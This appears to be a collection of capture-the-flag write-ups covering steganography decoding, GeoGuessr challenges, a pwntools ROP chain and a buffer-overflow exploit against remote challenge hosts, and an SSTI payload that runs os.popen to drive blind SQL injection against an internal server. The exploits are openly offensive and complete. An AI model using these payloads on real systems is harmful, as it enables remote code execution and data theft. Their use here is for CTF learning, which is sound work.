โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโ โโโโโ โโโโโ โโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ๏ปฟ```It doesn't even show up! What is going on here?
## Zero-width spaceThese type of characters are known as zero-width spaces. When rendered, they show up as nothing, but when read as text, they still occupy space and arevalid Unicode characters.In this case, we have a super large chunk of different types of zero-width spaces. If we were to view them on the site, we would see nothing, butwe can still extract them from the source.
## Text analysisThankfully, Python uses unicode strings, meaning we can still parse it programatically.```pythonfrom collections import Counters = "๏ปฟโโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโ โโโโโ โโโโโ โโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ๏ปฟ" # the entire thing is in hereprint(len(s))c = Counter(s)print(c)>>> 2030>>> Counter({'\u200c': 954, '\u200b': 813, '\u2060': 261, '\ufeff': 2})```It's pretty suspicious that there's only two `\ufeff` characters, so looking around, I noticed it only appeared at the start and the end, meaningwe can just ignore it as it's probably used to enclose the entire message.
Finally, there is way more `\u200c` and `\u200b` than `\u2060` characters, which also seems weird.
I tried splitting by these `\u2060` characters to see if anything would show up.```pythons = s[1:-1]s = s.split("\u2060")print(len(s))print(list(len(i) for i in s))```And we get a pretty surprising result:```[7, 7, 7, 7, 7, 6, 7, 7, 7, 7, 7, 7, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 7, 7, 7, 6, 7, 7, 6, 7, 7, 7, 6, 7, 7, 7, 7, 7, 6, 7, 7, 7, 7, 7, 7, 6, 6, 7, 7, 7, 6, 7, 7, 7, 7, 7, 7, 6, 7, 7, 7, 6, 7, 7, 7, 7, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 7, 7, 7, 6, 7, 7, 7, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 7, 7, 7, 6, 7, 7, 7, 7, 7, 6, 7, 7, 7, 6, 7, 7, 7, 7, 6, 6, 7, 7, 7, 6, 7, 7, 6, 7, 7, 7, 7, 6, 7, 7, 7, 6, 7, 7, 7, 7, 7, 6, 6, 7, 7, 6, 7, 7, 6, 7, 7, 7, 7, 7, 7, 6, 7, 7, 7, 7, 7, 6, 7, 7, 6, 7, 7, 7, 7, 6, 7, 7, 6, 7, 7, 7, 7, 7, 7, 6, 7, 7, 7, 7, 6, 7, 7, 6, 7, 7, 7, 6, 7, 7, 7, 7, 7, 7, 7, 6, 7, 7, 6, 7, 7, 7, 7, 7, 7, 6, 7, 7, 6, 7, 7, 7, 6, 6, 7, 7, 7, 6, 7, 7, 6, 7, 7, 6, 7, 7, 7, 7, 7, 6, 4, 4, 4, 4, 7, 6, 7, 7, 7, 6, 7, 7, 7, 7, 7, 6, 7, 7, 7]```
From here, I just assumed that every chunk was an ascii byte due to the length being less than 8. All I had to do now was figure out which zero-widthspace meant 0 and which one meant 1.
Thankfully there are two options so you can just try both and see if it works lol.## SolutionThis was my final solve script, and it prints out the flag below:```pythonfrom collections import Counters = "๏ปฟโโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโ โโโโโ โโโโโ โโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ๏ปฟ"print(len(s))c = Counter(s)print(c)
s = s[1:-1]s = s.split("\u2060")print(len(s))print(list(len(i) for i in s))
dict = {"\u200b": "0", "\u200c": "1"}msg = []for i in s: t = [] for j in i: t.append(dict[j]) byte = int("".join(t), 2) msg.append(chr(byte))print("".join(msg))# Hello fellow CodeTiger Loyalists. Due to our joint effort, his escape has been successful. The non-Loyalists may think him gone, but we know the truth. He is merely lying in wait to return with an LIT problem to dazzle us all. Let it be known:## C0dEt1GeR_L1VES# LITCTF{C0dEt1GeR_L1VES}```---
## ConclusionOverall fairly simple challenge after getting past the web interface, just being a binary conversion. Ended up getting first blood but that's probablybecause my first instinct was to open source and peek around, then I managed to guess it was binary after only seeing the frequencies. |
```pythonfrom pwn import *
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]e = context.binary = ELF(binary)r = ROP(e)
gs = '''continue'''
def start(): if args.GDB: return gdb.debug(e.path, gdbscript=gs) elif args.REMOTE: return remote('0.cloud.chals.io', 21744) else: return process(e.path)
bin_sh = next(e.search(b'/bin/sh\0'))pop_r0 = 0x0001061dsystem = e.sym['system']
pad = b'Y'+cyclic(7)
chain = p32(pop_r0)chain += p32(bin_sh)chain += p32(0)chain += p32(0)chain += p32(system)
p = start()p.sendline(b'Y'+cyclic(11)+chain)``` |
First, download the ZIP archive and unzip it. Inside you'll find the source code of `save_tyger` in `save_tyger.c`, and the `save_tyger` executable. If we look at the source code, we see that it uses `gets`, which is known to be unsafe because it reads and writes past the length of a buffer, which can cause buffer overflows.
Now we see that it's writing into the `buf` buffer. We also see that it checks and gives us the flag only if `pass` is equal to `0xabadaaab`. We need to overwrite `pass` with a buffer overflow, and we have the flag.
Now let's disassemble `save_tyger` with `objdump -Mintel -D ./save_tyger` and look at what it looks like when compiled:```assembly...00000000000011c9 <main>: 11c9: f3 0f 1e fa endbr64 11cd: 55 push rbp 11ce: 48 89 e5 mov rbp,rsp 11d1: 48 83 ec 30 sub rsp,0x30 11d5: 48 c7 45 f8 00 00 00 mov QWORD PTR [rbp-0x8],0x0 11dc: 00 11dd: 48 8d 3d 24 0e 00 00 lea rdi,[rip+0xe24] # 2008 <_IO_stdin_used+0x8> 11e4: e8 a7 fe ff ff call 1090 <puts@plt> 11e9: 48 8d 3d 4b 0e 00 00 lea rdi,[rip+0xe4b] # 203b <_IO_stdin_used+0x3b> 11f0: e8 9b fe ff ff call 1090 <puts@plt> 11f5: 48 8d 45 d0 lea rax,[rbp-0x30] 11f9: 48 89 c7 mov rdi,rax 11fc: b8 00 00 00 00 mov eax,0x0 1201: e8 aa fe ff ff call 10b0 <gets@plt> 1206: b8 ab aa ad ab mov eax,0xabadaaab 120b: 48 39 45 f8 cmp QWORD PTR [rbp-0x8],rax 120f: 75 66 jne 1277 <main+0xae> 1211: 48 8d 3d 3f 0e 00 00 lea rdi,[rip+0xe3f] # 2057 <_IO_stdin_used+0x57> 1218: e8 73 fe ff ff call 1090 <puts@plt> 121d: 48 8d 35 3e 0e 00 00 lea rsi,[rip+0xe3e] # 2062 <_IO_stdin_used+0x62> 1224: 48 8d 3d 39 0e 00 00 lea rdi,[rip+0xe39] # 2064 <_IO_stdin_used+0x64> 122b: e8 90 fe ff ff call 10c0 <fopen@plt> 1230: 48 89 45 f0 mov QWORD PTR [rbp-0x10],rax 1234: 48 83 7d f0 00 cmp QWORD PTR [rbp-0x10],0x0 1239: 75 16 jne 1251 <main+0x88> 123b: 48 8d 3d 2e 0e 00 00 lea rdi,[rip+0xe2e] # 2070 <_IO_stdin_used+0x70> 1242: e8 49 fe ff ff call 1090 <puts@plt> 1247: bf 01 00 00 00 mov edi,0x1 124c: e8 7f fe ff ff call 10d0 <exit@plt> 1251: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10] 1255: 48 89 c2 mov rdx,rax 1258: be 40 00 00 00 mov esi,0x40 125d: 48 8d 3d dc 2d 00 00 lea rdi,[rip+0x2ddc] # 4040 <flag> 1264: e8 37 fe ff ff call 10a0 <fgets@plt> 1269: 48 8d 3d d0 2d 00 00 lea rdi,[rip+0x2dd0] # 4040 <flag> 1270: e8 1b fe ff ff call 1090 <puts@plt> 1275: eb 0c jmp 1283 <main+0xba> 1277: 48 8d 3d 1f 0e 00 00 lea rdi,[rip+0xe1f] # 209d <_IO_stdin_used+0x9d> 127e: e8 0d fe ff ff call 1090 <puts@plt> 1283: b8 00 00 00 00 mov eax,0x0 1288: c9 leave 1289: c3 ret 128a: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0]...```Now let's compare this with the C code. We see that it's setting the memory at `rbp-0x8` to `0x0`, and since this happens with `pass` in the C code, we can assume that `rbp-0x8` is `pass`. Also, we see that `rbp-0x30` is being passed as an argument to `gets`, so we can see that `rbp-0x30` is `buf`.
Now we need some padding with some random character, let's say, `a`, to fill up the space before we get to `pass`, then we need `pass`, with the bytes in little endian order (aka reversed). The amount of padding we need is `0x30-0x8=0x28`, or `40` in decimal.
Also, `pass` in little endian order is `0xab 0xaa 0xad 0xab`. (Note that pwntools, the library we are going to use to write the exploit, can do this for you. I'm showing it here for informational purposes.) We can write a exploit with this information and pwntools (it's a widely used python exploit writing library):```python3from pwn import * # importing everything makes exploit writing fasters = b'a' * 40 # our padding# pass, in little endian order. # The p64 function in pwntools does little endian order, and is one of many for different integer typess += p64(0xabadaaab) r = remote('litctf.live', 31786) # connect to remote serverr.recvuntil(b'?\n') # read input until the questionr.sendline(s) # send our exploit# pray for flagprint(r.interactive()) # interactive mode that prints out output for us```Running this code, we get the following output:```[+] Opening connection to litctf.live on port 31786: Done[*] Switching to interactive modeIt worked!LITCTF{y4yy_y0u_sav3d_0ur_m41n_or94n1z3r}
[*] Got EOF while reading in interactive```Finally, we find out that the flag is `LITCTF{y4yy_y0u_sav3d_0ur_m41n_or94n1z3r}`. |
`Service overview and write up: https://gist.github.com/PaulCher/502b1fd2642b738f004c975dc8720e74`
`Exploit: https://gist.github.com/PaulCher/22ddbe3e238fefced460f7d136b7e24c` |
[Original Writeup](https://github.com/nikosChalk/ctf-writeups/blob/master/googleCTF22/misc/Segfault-Labyrinth) (https://github.com/nikosChalk/ctf-writeups/blob/master/googleCTF22/misc/Segfault-Labyrinth) |
# GeoGuessr Warmup

An immediate observing of the picture reveals that the location in question speaks predominantly English and has mediterranean-like architecture.
Although our team did not spot this in contest, a closer observation reveals that the flag of Gibraltar was hung from a building:

A quick search on google maps of `ARMS` in Gibraltar will lead you to Edinburgh Arms (we see the two letters `GH` before arms, this is the only place which matches up), the [location that the photo was taken.](https://www.google.com/maps/@36.1224293,-5.3501799,3a,75y,202.26h,97.69t/data=!3m7!1e1!3m5!1sfeTI2XOgKGsUWtb1NC-uLQ!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fpanoid%3DfeTI2XOgKGsUWtb1NC-uLQ%26cb_client%3Dmaps_sv.tactile.gps%26w%3D203%26h%3D100%26yaw%3D178.29004%26pitch%3D0%26thumbfov%3D100!7i13312!8i6656)
This leads to the answer of `LITCTF{36.122,-5.350}` |
# Challenge Description
The source code for this challenge was given and we have two files :**main-server.py**```import sqlite3from flask import Flask, render_template, render_template_string, redirect, url_for, requestimport requests;import re;
app = Flask(__name__)
def alphanumericalOnly(str): return re.sub(r'[^a-zA-Z0-9]', '', str);
@app.route('/', methods=['GET', 'POST'])def login(): if request.method == 'POST':
username = request.form['username'] password = request.form['password']
if('.' in password): return render_template_string("lmao no way you have . in your password LOL");
r = requests.post('[Other server IP]', json={"username": alphanumericalOnly(username),"password": alphanumericalOnly(password)}); print(r.text); if(r.text == "True"): return render_template_string("OMG you are like so good at guessing our flag I am lowkey jealoussss."); return render_template_string("ok thank you for your info i have now sold your password (" + password + ") for 2 donuts :)");
return render_template("index.html");
app.run(host='127.0.0.1',port=8081,debug=True)```and data-server.py```import sqlite3from flask import Flask, render_template, render_template_string, redirect, url_for, request
con = sqlite3.connect('data.db', check_same_thread=False)app = Flask(__name__)
flag = open("flag.txt").read();
cur = con.cursor()
cur.execute('''DROP TABLE IF EXISTS users''')cur.execute('''CREATE TABLE users (username text, password text)''')cur.execute( '''INSERT INTO users (username,password) VALUES ("flag","''' + flag + '''") ''')
@app.route('/runquery', methods=['POST'])def runquery(): request_data = request.get_json() username = request_data["username"]; password = request_data["password"];
print(password); cur.execute("SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'");
rows = cur.fetchall() if(len(rows) > 0): return "True"; return "False";
app.run(host='127.0.0.1',port=8080,debug=True)
```Undrestanding this code is pretty easy:**Main-server.py**```import sqlite3from flask import Flask, render_template, render_template_string, redirect, url_for, requestimport requests;import re;
app = Flask(__name__)
def alphanumericalOnly(str): #Remove non alphanumeric characters from our input return re.sub(r'[^a-zA-Z0-9]', '', str);
@app.route('/', methods=['GET', 'POST'])def login(): if request.method == 'POST':
username = request.form['username'] password = request.form['password']
if('.' in password): #Blacklisting the '.' in the password return render_template_string("lmao no way you have . in your password LOL"); #Making a post request to the data server with our inputs being sanitized r = requests.post('[Other server IP]', json={"username": alphanumericalOnly(username),"password": alphanumericalOnly(password)}); print(r.text); if(r.text == "True"): return render_template_string("OMG you are like so good at guessing our flag I am lowkey jealoussss.");#The respons we got if our credentials are good #If not we got this response with the password printed back :) return render_template_string("ok thank you for your info i have now sold your password (" + password + ") for 2 donuts :)");
return render_template("index.html");```And **Data-server.py** just returns True or False depends on the result of SELECT statemnet.# Unintended solutionThis may seems very wired (and it is) but when I first tried to solve this I just tried to test the funcionality of the site without really undrestanding the code.Lucky enough when I tried `1' or 1=1-- -` in the password field, I got the "OMG ..." response which really shouldn't be but it was hh.(I don't know why this happenedbut probably because the "alphanumericalOnly" function wasn't implemented on the server ).So my first approch was just a normal blind SQl injection with a sipmle python script and this `' or (1=1 and (SELECT hex(substr(password,{position},1)) FROM users limit 1 offset 0) = hex('{charachter}'))-- -` as payload and You know what, it just worked fine ?.Unfortunately the '.' part in the code was just fine and the flag I got was ###LITCTF{flush3d_3m0ji_o0} which is again weird because the correct flag has '.' in it,so I shouldn't be able to get the "0}" part.Anyway,I checked the flag with an admin and he told me that I missed something.I tried several times but the flag was always the same so I just moved to something elseand decide to get back later.# Intended solutionWhen I got back my script wan't working anymore hh and it seems that the challenge decided to work properly again (or someone fixed it).When I read the code I realised that normal SQLi shouldn't have worked in the first time and that there is an SSTI here `return render_template_string("ok thank you for your info i have now sold your password (" + password + ") for 2 donuts :)");`.I was just coming out of 2 CTFs with SSTI challenges and the payload was just ready :)The first thing I tried was reading the main.py file and from it we got the data server IP "http://172.24.0.8:8080" which is a local IP so we can't just make a request to it.From this the Solution was obvious : Using the SSTI in the main server to do a BLIND SQLi in the data server.My first thought was to use curl or wget but after checking the available commands it seems that we can't.With Python available we can just use the one-liner option.So I just modified my first script a little bit and used it to get the flag.```import requestsimport string
url="http://159.89.254.233:31781/"flag=""i=1
while "}" not in flag: for j in string.printable : if j==".": #Bypass the "." check in the main server (don't forget to replace it later in the flag) j="\\x2E" data={"username":"flag","password":r"{{lipsum['__globals__']['os']['popen']('python3 -c \x27import requests;r = requests\x2Epost(\x22http://172\x2E24\x2E0\x2E8:8080/runquery\x22,json={\x22username\x22:\x22flag\x22,\x22password\x22:\x22flag\\x27 or (SELECT hex(substr(password,"+str(i)+ r",1)) FROM users limit 1 offset 0) = hex(\\x27"+j+r"""\\x27)--\x22});print(r\x2Etext)\x27')['read']()}}"""} s=requests.post(url,data=data) if "True" in s.text: flag+=j print(flag) i+=1 break```I had a difficult time triying to get this to work because of the quotes but we can use hex enocde with "\x" prefix to fix that and bypass the '.' check.## Flag : `LITCTF{flush3d_3m0ji_o.0}`
**Bonus Tip**:I used to use the `data=` parameter in post requests with Python's requests library,however it seems that starting with Requests version 2.4.2, you can use the `json=` parameter instead.And as I'm always keeping my tools and softwares updated ? I just used the `data=` as usual which would give you an empty response (to remind you to update your stuff) |
# Flashy Colors
## Problem StatementComputer pixels are so interesting. Do you know that they are actually made of three lights? It's like each pixel has 3 tiny light switches, red, green, and blue, that can go on or off to create so many different colors.
Anyway, here are some flashy colors for you.https://drive.google.com/uc?export=download&id=1X7PMv0vi-Cp_xKzYeFd_wxxPGY373jgz
## SolutionDownload the file, and open it up. We see that we have a 3bit image, with 1 bit per channel. We do the rest in python (the file is renamed to `fc.png`).
Let's first convert this image to a 10x10 pixel image.Then we can get the rgb values for each pixel. We convert this to a numpy array. We tried flattening the image row-wise but didn't get anything useful.Flattening the image column-wise (because that's the next best thing), and removing the first 4 bits (motivated by observing that `L = 01001100`) we getthe flag.
```pyfrom PIL import Imageimport numpy as np
img = Image.open("fc.png")img.resize((10, 10), Image.NONE).show()img.resize((10, 10), Image.NONE).save('fc_resize.png')
img = numpy.array(img)[:,:,:3] # Remove the A channelimg = img.astype(int)img = img // 255
# Flatten by columnprint(img.transpose(1, 0, 2).flatten())# >>> array([0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1,# 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0,# 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0,# 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1,# 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1,# 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0,# 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1,# 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1,# 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1,# 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1,# 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0,# 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1,# 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1,# 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1])print(*img.transpose(1, 0, 2).flatten(), sep="")# >>> 000001001100010010010101010001000011010101000100011001111011001100000100110101000111010111110100100101011111011011000011000001110110011001010101111101110100011010000011001101110011001100110101111101100110011011000110000100110101011010000111100101011111011000110011000001101100011011110111001001111101
```Converting the above string (without the first 4 characters) to ascii, we get `LITCTF{0MG_I_l0ve_th3s3_fla5hy_c0lor}`:
## Answer:`LITCTF{0MG_I_l0ve_th3s3_fla5hy_c0lor}` |
# GeoGuessr Hard Mode

This GeoGuessr was definately the hardest. An immediate observation revealed an Orange Money kiosk, a building called `Hotel De Ville` (French for "Town Hall"), and the Pan-African colors painted on the tree, leading to the suspicion that the location in question was definately in a French-speaking country in Africa.

The only country with major Google Streetview coverage that covered the above criteria was Senegal (but we still checked other places), and from there we found the town hall of Tambacounda purely from trial and error (there were around 14ish Hotel De Ville's in Africa), leading to the answer of `LITCTF{13.775,-13.669}` |
# GeoGuessr Normal Mode

A quick observation reveals that the languages written on the life ring's sign in the lower right were Traditional Chinese and Portuguese. There are 2 areas in the world where both these languages were spoken, East Timor and Macau. East Timor isn't as developed as the location in the image, so the location being in Macau is almost guaranteed. After a few searches in Street view of Google Maps, we spotted the Lisboa Hotel:
After that, it was a search for the right perspective, which we eventually found in the Nam Van Lake Nautical Center, leading to the answer of `LITCTF{22.189,113.539}` |
